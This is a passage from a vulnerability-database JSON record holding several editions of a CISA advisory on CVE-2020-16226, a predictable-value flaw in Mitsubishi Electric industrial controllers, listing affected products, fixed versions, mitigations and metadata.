Strategies](<https://www.us-cert.gov/ics/tips/ICS-TIP-12-146-01B>). \n \nOrganizations observing any suspected malicious activity should follow their established internal procedures and report their findings to CISA for tracking and correlation against other incidents.\n\nNo known public exploits specifically target this vulnerability.\n\n## \nContact Information\n\nFor any questions related to this report, please contact the CISA at: \n \nEmail: [CISAservicedesk@cisa.dhs.gov](<mailto:cisaservicedesk@cisa.dhs.gov>) \nToll Free: 1-888-282-0870\n\nFor industrial control systems cybersecurity information: https://us-cert.cisa.gov/ics \nor incident reporting: https://us-cert.cisa.gov/report\n\nCISA continuously strives to improve its products and services. You can help by choosing one of the links below to provide feedback about this product.\n\nThis product is provided subject to this Notification and this [Privacy &amp; Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://surveymonkey.com/r/G8STDRY?product=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01>); we'd welcome your feedback.\n", "published": "2020-09-01T00:00:00", "modified": "2020-09-01T00:00:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://www.us-cert.gov//ics/advisories/icsa-20-245-01", "reporter": "Industrial Control Systems Cyber Emergency Response Team", "references": ["https://www.us-cert.gov/ics/alerts/ICS-ALERT-10-301-01", "https://www.dhs.gov/homeland-security-no-fear-act-reporting", "https://cwe.mitre.org/data/definitions/342.html", "https://www.dhs.gov/plug-information", "https://www.dhs.gov/privacy-policy", "https://www.us-cert.gov/ics/recommended-practices", "https://www.whitehouse.gov/", "https://www.dhs.gov/plain-writing-dhs", "https://www.facebook.com/sharer.php?u=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://www.oig.dhs.gov/", "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "https://www.dhs.gov/freedom-information-act-foia", "http://twitter.com/icscert", "http://www.addthis.com/bookmark.php?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://www.us-cert.gov/ics/tips/ICS-TIP-12-146-01B", "https://www.us-cert.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf", "https://surveymonkey.com/r/G8STDRY?product=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01", "https://www.dhs.gov", "https://www.usa.gov/", "https://www.dhs.gov/", "https://twitter.com/share?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226", "https://www.us-cert.gov/ics", "https://www.us-cert.gov/ics"], "cvelist": ["CVE-2020-16226"], "immutableFields": [], "lastseen": "2020-12-18T03:22:31", "history": [], "viewCount": 4, "enchantments": {"dependencies": {"modified": "2020-12-18T03:22:31", "references": [{"idList": ["ICSA-20-063-04", "ICSA-19-036-02", "ICSA-20-303-02", "ICSMA-20-296-01", "ICSA-14-254-01", "ICSA-15-265-02", "ICSA-18-282-02", "ICSA-17-271-01B", "ICSA-19-339-02", "ICSMA-19-318-01", "ICSA-20-238-01", "ICSA-16-103-01", "ICSA-18-128-01", "ICSA-19-155-02", "ICSA-20-254-02", "ICSA-18-282-07", "ICSA-20-154-02", "ICSA-20-105-03", "ICSA-13-095-01", "ICSA-15-029-01", "ICSA-13-043-01", "ICSA-19-211-01", "ICSA-20-105-07", "ICSA-17-262-01", "ICSA-18-081-01", "ICSA-13-252-01", "ICSA-13-042-01", "ICSA-16-033-02", "ICSA-12-102-02", "ICSA-12-185-01", "ICSA-19-134-08", "ICSA-13-346-01", "ICSA-18-317-01", "ICSA-20-345-02", "ICSA-21-012-05", "ICSA-13-291-01B", "ICSA-17-215-01", "ICSA-15-211-01", "ICSA-12-249-02", "ICSA-17-152-01", "ICSA-20-294-02", "ICSA-20-105-05", "ICSA-11-091-01A", "ICSA-14-098-02", "ICSA-19-302-01", "ICSA-11-273-03A", "ICSA-21-005-05", "ICSA-14-086-01", "ICSA-20-154-05", "ICSA-15-335-03A", "ICSA-15-146-01", "ICSA-11-147-02", "ICSA-12-212-02", "ICSA-13-079-02", "ICSA-16-308-02", "ICSA-16-061-01", "ICSA-20-287-02", "ICSMA-20-170-04", "ICSA-19-017-01", "ICSA-18-067-01", "ICSA-14-105-01", "ICSA2012601", "ICSA-20-135-01", "ICSA2012602", "ICSA-12-205-01", "ICSA-13-189-02", "ICSA-19-073-02", "ICSA-18-200-04", "ICSA-18-296-02", "ICSA-20-072-03", "ICSA-20-287-03", "ICSA-15-153-02", "ICSA-20-170-04", "ICSA-12-214-01", "ICSA-12-167-01", "ICSA-18-305-02", "ICSA-15-309-01", "ICSA-18-184-01", "ICSA-19-192-05", "ICSMA-19-029-02", "ICSA-14-345-01", "ICSA-20-175-03", "ICSA-313-01", "ICSMA-19-248-01", "ICSA-19-038-01", "ICSA-18-128-03", "ICSA-19-106-02", "ICSA-17-341-02", "ICSMA-19-113-01", "ICSA-12-039-01", "ICSMA-20-163-01", "ICSA-11-195-01", "ICSA-13-259-01B", "ICSA-18-198-01", "ICSA-11-122-01", "ICSA-15-090-03", "ICSA-15-062-02", "ICSA-21-005-01", "ICSA-18-095-02", "ICSA-16-208-02"], "type": "ics"}, {"idList": ["ZDI-20-1207"], "type": "zdi"}, {"idList": ["CVE-2020-16226"], "type": "cve"}], "rev": 2}, "score": {"modified": "2020-12-18T03:22:31", "rev": 2, "value": 6.4, "vector": "NONE"}}, "objectVersion": "1.4"}, "lastseen": "2020-12-18T03:22:31", "differentElements": ["description", "modified", "published", "title"], "edition": 4}, {"bulletin": {"id": "ICSA-20-245-01", "hash": "3a4d7239c4dc6443e78f2772cb3447bb83b614f92a5f4ff208d90afa25bed5ec", "type": "ics", "bulletinFamily": "info", "title": "Mitsubishi Electric Multiple Products (Update A)", "description": "## 1\\. EXECUTIVE SUMMARY\n\n * **CVSS v3 7.3**\n * **ATTENTION: **Exploitable remotely/low skill level to exploit\n * **Vendor:** Mitsubishi Electric\n * **Equipment: **Multiple Products\n * **Vulnerability: **Predictable Exact Value from Previous Values\n\n## 2\\. UPDATE INFORMATION\n\nThis updated advisory is a follow-up to the original advisory titled ICSA-20-245-01 Mitsubishi Electric Multiple Products that was published September 1, 2020, to the ICS webpage on us-cert.cisa.gov.\n\n## 3\\. RISK EVALUATION\n\nSuccessful exploitation of this vulnerability could be used to hijack TCP sessions and allow remote command execution.\n\n## 4\\. TECHNICAL DETAILS\n\n### 4.1 AFFECTED PRODUCTS\n\n * QJ71MES96, all versions\n * QJ71WS96, all versions\n * Q06CCPU-V, all versions\n * Q24DHCCPU-V, all versions\n * Q24DHCCPU-VG, all versions\n\n**\\--------- Begin Update A Part 1 of 7---------**\n\n * R12CCPU-V, Version 13 and prior\n * RD55UP06-V, Version 09 and prior\n * RD55UP12-V, Version 01\n * RJ71GN11-T2, Version 11 and prior\n\n**\\--------- End Update A Part 1 of 7 ---------**\n\n * RJ71EN71, all versions\n * QJ71E71-100, all versions\n * LJ71E71-100, all versions\n * QJ71MT91, all versions\n * RD78Gn(n=4,8,16,32,64), all versions\n * RD78GHV, all versions\n * RD78GHW, all versions\n * NZ2GACP620-60, all versions\n * NZ2GACP620-300, all versions\n * NZ2FT-MT, all versions\n * NZ2FT-EIP, all versions\n * Q03UDECPU, the first 5 digits of serial number 22081 and prior\n * QnUDEHCPU(n=04/06/10/13/20/26/50/100), the first 5 digits of serial number 22081 and prior\n * QnUDVCPU(n=03/04/06/13/26), the first 5 digits of serial number 22031 and prior\n\n**\\--------- Begin Update A Part 2 of 7 ---------**\n\n * QnUDPVCPU(n=04/06/13/26), the first 5 digits of serial number 22031 and prior\n\n**\\--------- End Update A Part 2 of 7 ---------**\n\n * LnCPU(-P)(n=02/06/26), the first 5 digits of serial number 22051 and prior\n * L26CPU-(P)BT, the first 5 digits of serial number 22051 and prior\n * RnCPU(n=00/01/02), Version 18 and prior\n * RnCPU(n=04/08/16/32/120), Version 50 and prior\n * RnENCPU(n=04/08/16/32/120), Version 50 and prior\n\n**\\--------- Begin Update A Part 3 of 7 ---------**\n\n * RnSFCPU (n=08/16/32/120), Version 22 and prior\n * RnPCPU(n=08/16/32/120), Version 24 and prior\n * RnPSFCPU(n=08/16/32/120), Version 05 and prior\n\n**\\--------- End Update A Part 3 of 7 ---------**\n\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later: Version 1.210 and prior\n * Case2: Serial number 179**** and prior: Version 1.070 and prior\n * FX5UC-32M*/**-TS, Version 1.210 and prior\n * FX5UJ-**M*/**, Version 1.000\n\n**\\--------- Begin Update A Part 4 of 7 ---------**\n\n * FX5-ENET, Version 1.002 and prior\n * FX5-ENET/IP, Version 1.002 and prior\n * FX3U-ENET-ADP, Version 1.22 and prior\n * FX3GE-**M*/**, the first 3 digits of serial number 20X and prior\n * FX3U-ENET, Version 1.14 and prior\n * FX3U-ENET-L, Version 1.14 and prior\n * FX3U-ENET-P502, Version 1.14 and prior\n * FX5-CCLGN-MS, Version 1.000\n\n**\\--------- End Update A Part 4 of 7 ---------**\n\n * IU1-1M20-D, all versions\n * LE7-40GU-L, all versions\n * GOT2000 Series GT21 Model, all versions\n * GS Series, all versions\n * GOT1000 Series GT14 Model, all versions\n * GT25-J71GN13-T2, all versions\n\n**\\--------- Begin Update A Part 5 of 7 ---------**\n\n * FR-A800-E Series, production date December 2020 and prior\n * FR-F800-E Series, production date December 2020 and prior\n\n**\\--------- End Update A Part 5 of 7 ---------**\n\n * FR-A8NCG, Production date August 2020 and prior\n * FR-E800-EPA Series, Production date July 2020 and prior\n * FR-E800-EPB Series, Production date July 2020 and prior\n * Conveyor Tracking Application APR-nTR3FH, APR-nTR6FH, APR-nTR12FH, APR-nTR20FH(n=1,2), all versions (Discontinued product)\n * MR-JE-C, all versions\n * MR-J4-TM, all versions\n\n### 4.2 VULNERABILITY OVERVIEW\n\n#### 4.2.1 [PREDICTABLE EXACT VALUE FROM PREVIOUS VALUES CWE-342](<https://cwe.mitre.org/data/definitions/342.html>)\n\nThe affected products are vulnerable to impersonation of a legitimate device by a malicious actor, which may allow an attacker to remotely execute arbitrary commands.\n\n[CVE-2020-16226](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226>) has been assigned to this vulnerability. A CVSS v3 base score of 7.3 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L>)).\n\n### 4.3 BACKGROUND\n\n * **CRITICAL INFRASTRUCTURE SECTORS:** Critical Manufacturing\n * **COUNTRIES/AREAS DEPLOYED:** Worldwide\n * **COMPANY HEADQUARTERS LOCATION:** Japan\n\n### 4.4 RESEARCHER\n\nTa-Lun Yen of TXOne IoT/ICS Security Research Labs of Trend Micro, working with Trend Micro\u2019s Zero Day Initiative, reported this vulnerability to CISA.\n\n## 5\\. MITIGATIONS\n\nMitsubishi Electric recommends that users take the following mitigation measures to minimize the risk of exploiting this vulnerability:\n\n * Use a firewall or VPN, etc. to prevent unauthorized access when Internet access is required.\n * Use within a LAN and ensure that they are not accessible from untrusted networks and hosts.\n * Install an antivirus software in your personal computer that can access the product.\n\n**\\--------- Begin Update A Part 6 of 7 ---------**\n\nMitsubishi also recommends users update the following products to their respective versions: \n\n * R12CCPU-V, Version 14 or later\n * RD55UP06-V, Version 10 or later\n * RD55UP12-V, Version 02 or later\n * RJ71GN11-T2, Version 12 or later\n * Q03UDECPU, the first 5 digits of serial number 22082 or later\n * QnUDEHCPU(n=04/06/10/13/20/26/50/100), the first 5 digits of serial number 22082 or later\n * QnUDVCPU(n=03/04/06/13/26), the first 5 digits of serial number 22032 or later\n * QnUDPVCPU(n=04/06/13/26), the first 5 digits of serial number 22032 or later\n * LnCPU(-P)(n=02/06/26), the first 5 digits of serial number 22052 or later\n * L26CPU-(P)BT, the first 5 digits of serial number 22052 or later\n * RnSFCPU (n=08/16/32/120), Version 23 or later\n * RnPSFCPU(n=08/16/32/120), Version 06 or later\n * RnPCPU(n=08/16/32/120), Version 25 or later\n\n**\\--------- End Update A Part 6 of 7 ---------**\n\n * RnCPU(n=00/01/02), Version 18 and prior: Update to Version 19 or later\n * RnCPU(n=04/08/16/32/120), Version 50 and prior. Please update to Version 51 or later\n * RnENCPU(n=04/08/16/32/120), Versions 50 and prior: Update to Version 51 or later\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later, Version 1.210 and prior: Update to Version 1.211 or later\n * Case2: Serial number 179**** and prior, Version 1.070 and prior: Update to Version 1.071 or later\n * FX5UC-32M*/**-TS, Version 1.210 and prior: Update to Version 1.211 or later\n * FX5UJ-**M*/**, Version 1.000: Update to Version 1.001 or later\n\n**\\--------- Begin Update A Part 7 of 7 ---------**\n\n * FX5-ENET, Version 1.003 or later\n * FX5-ENET/IP, Version 1.003 or later\n * FX3U-ENET-ADP, Version 1.24 or later\n * FX3GE-**M*/**, the first 3 digits of serial number 20Y or later\n * FX3U-ENET, Version 1.16 or later\n * FX3U-ENET-L, Version 1.16 or later\n * FX3U-ENET-P502, Version 1.16 or later\n * FX5-CCLGN-MS, Version 1.001 or later\n * FR-A800-E Series, production date January 2021 or later\n * FR-F800-E Series, production date January 2021 or later\n * FR-A8NCG, production date September 2020 or later\n * FR-E800-EPA Series, production date August 2020 or later\n * FR-E800-EPB Series, production date August 2020 or later\n\n**\\--------- End Update A Part 7 of 7 ---------**\n\nPlease contact Mitsubishi Electric for more information.\n\nCISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability. Specifically, users should:\n\n * Minimize network exposure for all control system devices and/or systems, and ensure that they are [not accessible from the Internet](<https://www.us-cert.gov/ics/alerts/ICS-ALERT-10-301-01>).\n * Locate control system networks and remote devices behind firewalls, and isolate them from the business network.\n * When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.\n\nCISA also provides a section for [control systems security recommended practices](<https://www.us-cert.gov/ics/recommended-practices>) on the ICS webpage on [us-cert.gov](<https://www.us-cert.gov/ics>). Several recommended practices are available for reading and download, including [Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies](<https://www.us-cert.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf>).\n\nAdditional mitigation guidance and recommended practices are publicly available on the [ICS webpage on us-cert.gov](<https://www.us-cert.gov/ics>) in the Technical Information Paper, [ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies](<https://www.us-cert.gov/ics/tips/ICS-TIP-12-146-01B>). \n \nOrganizations observing any suspected malicious activity should follow their established internal procedures and report their findings to CISA for tracking and correlation against other incidents.\n\nNo known public exploits specifically target this vulnerability.\n\n## \nContact Information\n\nFor any questions related to this report, please contact the CISA at: \n \nEmail: [CISAservicedesk@cisa.dhs.gov](<mailto:cisaservicedesk@cisa.dhs.gov>) \nToll Free: 1-888-282-0870\n\nFor industrial control systems cybersecurity information: https://us-cert.cisa.gov/ics \nor incident reporting: https://us-cert.cisa.gov/report\n\nCISA continuously strives to improve its products and services. You can help by choosing one of the links below to provide feedback about this product.\n\nThis product is provided subject to this Notification and this [Privacy &amp; Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://surveymonkey.com/r/G8STDRY?product=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01>); we'd welcome your feedback.\n", "published": "2021-01-26T00:00:00", "modified": "2021-02-04T00:00:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://www.us-cert.gov//ics/advisories/icsa-20-245-01", "reporter": "Industrial Control Systems Cyber Emergency Response Team", "references": ["https://www.us-cert.gov/ics/alerts/ICS-ALERT-10-301-01", "https://www.dhs.gov/homeland-security-no-fear-act-reporting", "https://cwe.mitre.org/data/definitions/342.html", "https://www.dhs.gov/plug-information", "https://www.dhs.gov/privacy-policy", "https://www.us-cert.gov/ics/recommended-practices", "https://www.whitehouse.gov/", "https://www.dhs.gov/plain-writing-dhs", "https://www.facebook.com/sharer.php?u=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://www.oig.dhs.gov/", "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "https://www.dhs.gov/freedom-information-act-foia", "http://twitter.com/icscert", "http://www.addthis.com/bookmark.php?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://www.us-cert.gov/ics/tips/ICS-TIP-12-146-01B", "https://www.us-cert.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf", "https://surveymonkey.com/r/G8STDRY?product=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01", "https://www.dhs.gov", "https://www.usa.gov/", "https://www.dhs.gov/", "https://twitter.com/share?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226", "https://www.us-cert.gov/ics", "https://www.us-cert.gov/ics"], "cvelist": ["CVE-2020-16226"], "immutableFields": [], "lastseen": "2021-02-04T23:28:37", "history": [], "viewCount": 9, "enchantments": {"dependencies": {"modified": "2021-02-04T23:28:37", "references": [{"idList": ["ICSA-19-295-01", "ICSA-20-303-02", "ICSMA-17-250-02A", "ICSA-15-239-02", "ICSA-18-282-02", "ICSA-18-354-02", "ICSA-18-163-01", "ICSA-18-240-02", "ICSMA-20-170-03", "ICSA-15-071-01", "ICSA-19-190-02", "ICSA-20-161-03", "ICSA-15-323-01", "ICSA-18-317-03", "ICSA-15-062-01", "ICSA-19-227-02", "ICSA-19-309-01", "ICSA-20-105-07", "ICSA-15-069-02", "ICSMA-18-142-01", "ICSA-17-341-01", "ICSA-18-046-04", "ICSMA-19-353-01", "ICSA-20-063-03", "ICSA-18-282-06", "ICSA-20-315-03", "ICSA-17-234-04", "ICSA-17-047-02", "ICSA-12-030-01A", "ICSA-18-032-03", "ICSA-19-304-03", "ICSA-18-254-04", "ICSA-13-213-02", "ICSA-20-044-02", "ICSA-11-168-01A", "ICSA-17-192-02", "ICSA-11-294-01", "ICSA-19-213-01", "ICSA-19-281-04", "ICSA-16-131-01", "ICSA-16-040-01", "ICSA-12-138-01", "ICSA-18-095-03", "ICSA-19-162-02", "ICSA-19-255-02", "ICSA-15-169-01", "ICSA-12-228-01A", "ICSA-17-180-01A", "ICSA-18-338-01", "ICSA-16-161-01", "ICSA-16-278-02", "ICSA-20-196-04", "ICSA-13-079-01", "ICSA-19-008-01", "ICSA-16-026-01", "ICSMA-18-114-01", "ICSA-15-125-01B", "ICSA-15-090-02", "ICSA-19-304-04", "ICSA-13-079-02", "ICSA-17-264-04", "ICSA-16-336-05B", "ICSA-11-285-01", "ICSA-19-022-01", "ICSA-13-077-01B", "ICSA-18-240-01", "ICSA2012601", "ICSA-16-166-01", "ICSA-19-178-05", "ICSA2012602", "ICSMA-19-241-01", "ICSA-19-106-03", "ICSA-20-324-03", "ICSA-13-113-01", "ICSA-13-189-02", "ICSA-15-013-03", "ICSA-20-324-02", "ICSA-10-316-01A", "ICSA-21-049-02", "ICSA-17-304-02", "ICSA-17-010-01A", "ICSA-17-143-01", "ICSA-15-237-01", "ICSA-20-266-01", "ICSA-313-01", "ICSA-20-161-02", "ICSA-11-161-01", "ICSA-19-073-01", "ICSA-11-017-01", "ICSA-19-344-05", "ICSA-13-225-01", "ICSA-20-210-02", "ICSA-11-094-01", "ICSA-16-042-01", "ICSA-17-059-01", "ICSA-12-297-02", "ICSA-20-086-01", "ICSA-15-232-01", "ICSA-17-320-01", "ICSA-19-050-01"], "type": "ics"}, {"idList": ["ZDI-20-1207"], "type": "zdi"}, {"idList": ["CVE-2020-16226"], "type": "cve"}], "rev": 2}, "score": {"modified": "2021-02-04T23:28:37", "rev": 2, "value": 6.7, "vector": "NONE"}}, "objectVersion": "1.4"}, "lastseen": "2021-02-04T23:28:37", "differentElements": ["description", "references"], "edition": 5}, {"bulletin": {"id": "ICSA-20-245-01", "hash": "83db56649e24a1c7ad53a7b59d3b0290", "type": "ics", "bulletinFamily": "info", "title": "Mitsubishi Electric Multiple Products (Update A)", "description": "## 1\\. EXECUTIVE SUMMARY\n\n * **CVSS v3 7.3**\n * **ATTENTION: **Exploitable remotely/low skill level to exploit\n * **Vendor:** Mitsubishi Electric\n * **Equipment: **Multiple Products\n * **Vulnerability: **Predictable Exact Value from Previous Values\n\n## 2\\. UPDATE INFORMATION\n\nThis updated advisory is a follow-up to the original advisory titled ICSA-20-245-01 Mitsubishi Electric Multiple Products that was published September 1, 2020, to the ICS webpage on us-cert.cisa.gov.\n\n## 3\\. RISK EVALUATION\n\nSuccessful exploitation of this vulnerability could be used to hijack TCP sessions and allow remote command execution.\n\n## 4\\. TECHNICAL DETAILS\n\n### 4.1 AFFECTED PRODUCTS\n\n * QJ71MES96, all versions\n * QJ71WS96, all versions\n * Q06CCPU-V, all versions\n * Q24DHCCPU-V, all versions\n * Q24DHCCPU-VG, all versions\n\n**\\--------- Begin Update A Part 1 of 7---------**\n\n * R12CCPU-V, Version 13 and prior\n * RD55UP06-V, Version 09 and prior\n * RD55UP12-V, Version 01\n * RJ71GN11-T2, Version 11 and prior\n\n**\\--------- End Update A Part 1 of 7 ---------**\n\n * RJ71EN71, all versions\n * QJ71E71-100, all versions\n * LJ71E71-100, all versions\n * QJ71MT91, all versions\n * RD78Gn(n=4,8,16,32,64), all versions\n * RD78GHV, all versions\n * RD78GHW, all versions\n * NZ2GACP620-60, all versions\n * NZ2GACP620-300, all versions\n * NZ2FT-MT, all versions\n * NZ2FT-EIP, all versions\n * Q03UDECPU, the first 5 digits of serial number 22081 and prior\n * QnUDEHCPU(n=04/06/10/13/20/26/50/100), the first 5 digits of serial number 22081 and prior\n * QnUDVCPU(n=03/04/06/13/26), the first 5 digits of serial number 22031 and prior\n\n**\\--------- Begin Update A Part 2 of 7 ---------**\n\n * QnUDPVCPU(n=04/06/13/26), the first 5 digits of serial number 22031 and prior\n\n**\\--------- End Update A Part 2 of 7 ---------**\n\n * LnCPU(-P)(n=02/06/26), the first 5 digits of serial number 22051 and prior\n * L26CPU-(P)BT, the first 5 digits of serial number 22051 and prior\n * RnCPU(n=00/01/02), Version 18 and prior\n * RnCPU(n=04/08/16/32/120), Version 50 and prior\n * RnENCPU(n=04/08/16/32/120), Version 50 and prior\n\n**\\--------- Begin Update A Part 3 of 7 ---------**\n\n * RnSFCPU (n=08/16/32/120), Version 22 and prior\n * RnPCPU(n=08/16/32/120), Version 24 and prior\n * RnPSFCPU(n=08/16/32/120), Version 05 and prior\n\n**\\--------- End Update A Part 3 of 7 ---------**\n\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later: Version 1.210 and prior\n * Case2: Serial number 179**** and prior: Version 1.070 and prior\n * FX5UC-32M*/**-TS, Version 1.210 and prior\n * FX5UJ-**M*/**, Version 1.000\n\n**\\--------- Begin Update A Part 4 of 7 ---------**\n\n * FX5-ENET, Version 1.002 and prior\n * FX5-ENET/IP, Version 1.002 and prior\n * FX3U-ENET-ADP, Version 1.22 and prior\n * FX3GE-**M*/**, the first 3 digits of serial number 20X and prior\n * FX3U-ENET, Version 1.14 and prior\n * FX3U-ENET-L, Version 1.14 and prior\n * FX3U-ENET-P502, Version 1.14 and prior\n * FX5-CCLGN-MS, Version 1.000\n\n**\\--------- End Update A Part 4 of 7 ---------**\n\n * IU1-1M20-D, all versions\n * LE7-40GU-L, all versions\n * GOT2000 Series GT21 Model, all versions\n * GS Series, all versions\n * GOT1000 Series GT14 Model, all versions\n * GT25-J71GN13-T2, all versions\n\n**\\--------- Begin Update A Part 5 of 7 ---------**\n\n * FR-A800-E Series, production date December 2020 and prior\n * FR-F800-E Series, production date December 2020 and prior\n\n**\\--------- End Update A Part 5 of 7 ---------**\n\n * FR-A8NCG, Production date August 2020 and prior\n * FR-E800-EPA Series, Production date July 2020 and prior\n * FR-E800-EPB Series, Production date July 2020 and prior\n * Conveyor Tracking Application APR-nTR3FH, APR-nTR6FH, APR-nTR12FH, APR-nTR20FH(n=1,2), all versions (Discontinued product)\n * MR-JE-C, all versions\n * MR-J4-TM, all versions\n\n### 4.2 VULNERABILITY OVERVIEW\n\n#### 4.2.1 [PREDICTABLE EXACT VALUE FROM PREVIOUS VALUES CWE-342](<https://cwe.mitre.org/data/definitions/342.html>)\n\nThe affected products are vulnerable to impersonation of a legitimate device by a malicious actor, which may allow an attacker to remotely execute arbitrary commands.\n\n[CVE-2020-16226](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226>) has been assigned to this vulnerability. A CVSS v3 base score of 7.3 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L>)).\n\n### 4.3 BACKGROUND\n\n * **CRITICAL INFRASTRUCTURE SECTORS:** Critical Manufacturing\n * **COUNTRIES/AREAS DEPLOYED:** Worldwide\n * **COMPANY HEADQUARTERS LOCATION:** Japan\n\n### 4.4 RESEARCHER\n\nTa-Lun Yen of TXOne IoT/ICS Security Research Labs of Trend Micro, working with Trend Micro\u2019s Zero Day Initiative, reported this vulnerability to CISA.\n\n## 5\\. MITIGATIONS\n\nMitsubishi Electric recommends that users take the following mitigation measures to minimize the risk of exploiting this vulnerability:\n\n * Use a firewall or VPN, etc. to prevent unauthorized access when Internet access is required.\n * Use within a LAN and ensure that they are not accessible from untrusted networks and hosts.\n * Install an antivirus software in your personal computer that can access the product.\n\n**\\--------- Begin Update A Part 6 of 7 ---------**\n\nMitsubishi also recommends users update the following products to their respective versions: \n\n * R12CCPU-V, Version 14 or later\n * RD55UP06-V, Version 10 or later\n * RD55UP12-V, Version 02 or later\n * RJ71GN11-T2, Version 12 or later\n * Q03UDECPU, the first 5 digits of serial number 22082 or later\n * QnUDEHCPU(n=04/06/10/13/20/26/50/100), the first 5 digits of serial number 22082 or later\n * QnUDVCPU(n=03/04/06/13/26), the first 5 digits of serial number 22032 or later\n * QnUDPVCPU(n=04/06/13/26), the first 5 digits of serial number 22032 or later\n * LnCPU(-P)(n=02/06/26), the first 5 digits of serial number 22052 or later\n * L26CPU-(P)BT, the first 5 digits of serial number 22052 or later\n * RnSFCPU (n=08/16/32/120), Version 23 or later\n * RnPSFCPU(n=08/16/32/120), Version 06 or later\n * RnPCPU(n=08/16/32/120), Version 25 or later\n\n**\\--------- End Update A Part 6 of 7 ---------**\n\n * RnCPU(n=00/01/02), Version 18 and prior: Update to Version 19 or later\n * RnCPU(n=04/08/16/32/120), Version 50 and prior. Please update to Version 51 or later\n * RnENCPU(n=04/08/16/32/120), Versions 50 and prior: Update to Version 51 or later\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later, Version 1.210 and prior: Update to Version 1.211 or later\n * Case2: Serial number 179**** and prior, Version 1.070 and prior: Update to Version 1.071 or later\n * FX5UC-32M*/**-TS, Version 1.210 and prior: Update to Version 1.211 or later\n * FX5UJ-**M*/**, Version 1.000: Update to Version 1.001 or later\n\n**\\--------- Begin Update A Part 7 of 7 ---------**\n\n * FX5-ENET, Version 1.003 or later\n * FX5-ENET/IP, Version 1.003 or later\n * FX3U-ENET-ADP, Version 1.24 or later\n * FX3GE-**M*/**, the first 3 digits of serial number 20Y or later\n * FX3U-ENET, Version 1.16 or later\n * FX3U-ENET-L, Version 1.16 or later\n * FX3U-ENET-P502, Version 1.16 or later\n * FX5-CCLGN-MS, Version 1.001 or later\n * FR-A800-E Series, production date January 2021 or later\n * FR-F800-E Series, production date January 2021 or later\n * FR-A8NCG, production date September 2020 or later\n * FR-E800-EPA Series, production date August 2020 or later\n * FR-E800-EPB Series, production date August 2020 or later\n\n**\\--------- End Update A Part 7 of 7 ---------**\n\nPlease contact Mitsubishi Electric for more information.\n\nCISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability. Specifically, users should:\n\n * Minimize network exposure for all control system devices and/or systems, and ensure that they are [not accessible from the Internet](<https://www.us-cert.gov/ics/alerts/ICS-ALERT-10-301-01>).\n * Locate control system networks and remote devices behind firewalls, and isolate them from the business network.\n * When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.\n\nCISA also provides a section for [control systems security recommended practices](<https://www.us-cert.gov/ics/recommended-practices>) on the ICS webpage on [us-cert.gov](<https://www.us-cert.gov/ics>). Several recommended practices are available for reading and download, including [Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies](<https://www.us-cert.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf>).\n\nAdditional mitigation guidance and recommended practices are publicly available on the [ICS webpage on us-cert.gov](<https://www.us-cert.gov/ics>) in the Technical Information Paper, [ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies](<https://www.us-cert.gov/ics/tips/ICS-TIP-12-146-01B>). \n \nOrganizations observing any suspected malicious activity should follow their established internal procedures and 